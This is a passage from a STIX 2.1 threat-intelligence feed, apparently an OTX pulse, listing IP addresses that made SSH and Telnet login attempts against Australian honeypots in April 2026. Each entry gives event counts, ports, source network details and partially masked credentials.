      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.128.81.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:15:12.000Z",
      "valid_until": "2026-05-08T03:15:08.000Z"
    },
    {
      "created": "2026-04-06T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich.",
      "id": "indicator--a5374ba4-0c5a-44de-a954-46d103a10583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.87.249.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:15:12.000Z",
      "valid_until": "2026-05-08T03:15:08.000Z"
    },
    {
      "created": "2026-04-06T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--7a20749d-63bb-4cf3-9073-53ac145189ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.93.81.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:15:12.000Z",
      "valid_until": "2026-05-08T03:15:08.000Z"
    },
    {
      "created": "2026-04-06T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--a6d14bdf-d171-4598-be09-251dd6677220",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.107.13.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:15:12.000Z",
      "valid_until": "2026-05-08T03:15:08.000Z"
    },
    {
      "created": "2026-04-06T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--d85f8f93-648e-4f08-80e8-a653d16a567c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:15:12.000Z",
      "valid_until": "2026-05-08T03:15:08.000Z"
    },
    {
      "created": "2026-04-06T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--3fadb1eb-937e-48d6-9004-0e3a5d73f073",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:15:12.000Z",
      "valid_until": "2026-05-08T03:15:08.000Z"
    },
    {
      "created": "2026-04-06T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f1f9789b-86a1-4a2c-bb31-146c3f650182",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:15:12.000Z",
      "valid_until": "2026-05-08T03:15:08.000Z"
    },
    {
      "created": "2026-04-06T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58466. Organisation(s): CHINANET Guangdong province network. Usernames observed (masked): a***n, r**t, **, u****u. Passwords observed (masked): 0********9, B******6, a****#, **.",
      "id": "indicator--0664aa34-80f3-4430-84c1-67d714218803",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.18.88.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:15:11.000Z",
      "valid_until": "2026-05-08T04:15:08.000Z"
    },
    {
      "created": "2026-04-06T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263626. Organisation(s): G-LAB Telecom Informatica LTDA - ME. Usernames observed (masked): r**t. Passwords observed (masked): 1**..",
      "id": "indicator--418a3370-7058-458d-b474-a6e13d989112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.125.24.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:15:11.000Z",
      "valid_until": "2026-05-08T04:15:08.000Z"
    },
    {
      "created": "2026-04-06T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 133481. Organisation(s): AIS Fibre. Usernames observed (masked): e******r, r**t, u****u. Passwords observed (masked): 1******@, R********!, u*******!.",
      "id": "indicator--07f52882-a2d5-4b98-b80d-a998068e1d4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.22.41.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:15:11.000Z",
      "valid_until": "2026-05-08T04:15:08.000Z"
    },
    {
      "created": "2026-04-06T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, d****y, ***, 3**********4, a***n. Passwords observed (masked): 1**., 1*********d, 3***********4, 3**********4, F******8.",
      "id": "indicator--54e6765d-6408-4e96-a37d-2eb3b57c7484",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '23.95.248.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:15:11.000Z",
      "valid_until": "2026-05-08T04:15:08.000Z"
    },
    {
      "created": "2026-04-06T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): t**t. Passwords observed (masked): P*********3.",
      "id": "indicator--ba43072f-6db0-498c-afc4-586bb4fa43fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.56.177.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:15:11.000Z",
      "valid_until": "2026-05-08T04:15:08.000Z"
    },
    {
      "created": "2026-04-06T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--a83da649-5e09-4e1a-8d63-2e5e04abafc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.64.174.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:15:11.000Z",
      "valid_until": "2026-05-08T04:15:08.000Z"
    },
    {
      "created": "2026-04-06T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 28546. Organisation(s): Servnet Mexico, S.A. de C.V..",
      "id": "indicator--527305ae-caa3-4551-b89e-c2009d1bcac3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.166.100.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:15:11.000Z",
      "valid_until": "2026-05-08T04:15:08.000Z"
    },
    {
      "created": "2026-04-06T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--099c52cc-051d-48f9-aa86-927ac4694cba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.245.141.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T05:15:11.000Z",
      "valid_until": "2026-05-08T05:15:08.000Z"
    },
    {
      "created": "2026-04-06T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--eeccacf6-1498-47c2-8478-ec5a5cd0b490",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T05:15:11.000Z",
      "valid_until": "2026-05-08T05:15:08.000Z"
    },
    {
      "created": "2026-04-06T05:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: BG. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): **. Passwords observed (masked): **.",
      "id": "indicator--a8229bfc-3f13-4eee-b0c1-a297155232ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.109.200.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T05:15:11.000Z",
      "valid_until": "2026-05-08T05:15:08.000Z"
    },
    {
      "created": "2026-04-06T05:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--59de79b7-6585-4480-8f93-a4720483842b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T05:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.7.231.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T05:15:11.000Z",
      "valid_until": "2026-05-08T05:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, ***, u****u, 3**********4, a***t. Passwords observed (masked): 1*********f, 3***********4, 3**********4, A*******J, A*********3.",
      "id": "indicator--cdf369ed-d90c-4234-89d9-62d2939e3675",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--9f088caf-0664-4c21-b557-a7cb50fd5d2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.27.154.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a4919906-6605-4622-b039-172ac3f88080",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.11.73.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 249. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 264403. Organisation(s): CMTECH Com.e Serv.de Informatica Ltda. Usernames observed (masked): r**t, ***, 3**********4, ***, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1****1, A********6.",
      "id": "indicator--d910400c-5077-45a8-8596-2adcb4df1809",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.161.249.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 7684. Organisation(s): SAKURA Internet Inc.. Usernames observed (masked): r**t, s***m, 3**********4, g****1, j***s. Passwords observed (masked): 1*******R, 1**********3, 3***********4, 3**********4, A******1.",
      "id": "indicator--ef96cf5d-6da3-4ceb-b047-d75bb0d9943a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '153.120.63.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): r**t, 3**********4, a***t, d****y, d***r. Passwords observed (masked): 1*********f, 3***********4, 3**********4, A*******J, A*********3.",
      "id": "indicator--42696b43-10c6-4757-8c30-e1e9b7178aa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.199.224.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--0402e7d7-ca6b-4599-b955-67a126028404",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.38.145.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--86020fc7-8775-4177-919b-03073afac90e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--fd52395f-4c7e-4804-9f81-4d450f35ea77",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.189.148.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--6362a4fd-8250-4a2e-968f-1d839e933d12",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.91.36.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, 1***5.",
      "id": "indicator--68620fe6-b145-4c20-b347-f955ed18d6ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.212.41.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 15704. Organisation(s): Xtra Telecom S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, S*****6, p******3.",
      "id": "indicator--9b556e2d-b800-4969-b734-72b3053c5dfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.87.1.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--db367ea4-268d-43e6-8333-7cfa581da08e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.31.32.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:15:11.000Z",
      "valid_until": "2026-05-08T06:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45775. Organisation(s): WISH NET PRIVATE LIMITED.",
      "id": "indicator--d97a9805-9408-4947-a6b8-4774677b8ad8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.21.79.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited. Usernames observed (masked): r**t. Passwords observed (masked): x*****c, z***..",
      "id": "indicator--d8eb90cb-e115-4430-9816-7e55d28015f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.141.249.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited. Usernames observed (masked): r**t. Passwords observed (masked): , s*****t, t****t, v***v, x****1.",
      "id": "indicator--aea1d16f-9747-4d34-b958-ea63f657e504",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '137.97.111.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--38200dd4-e14e-4cd4-9f9a-7d026696b62d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.135.45.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T07:15:13.000Z",
      "valid_until": "2026-05-08T07:15:08.000Z"
    },
    {
      "created": "2026-04-06T07:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--dc0d7763-ae1e-489c-ab50-286631b5e0c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-06T07:15:13.000Z",
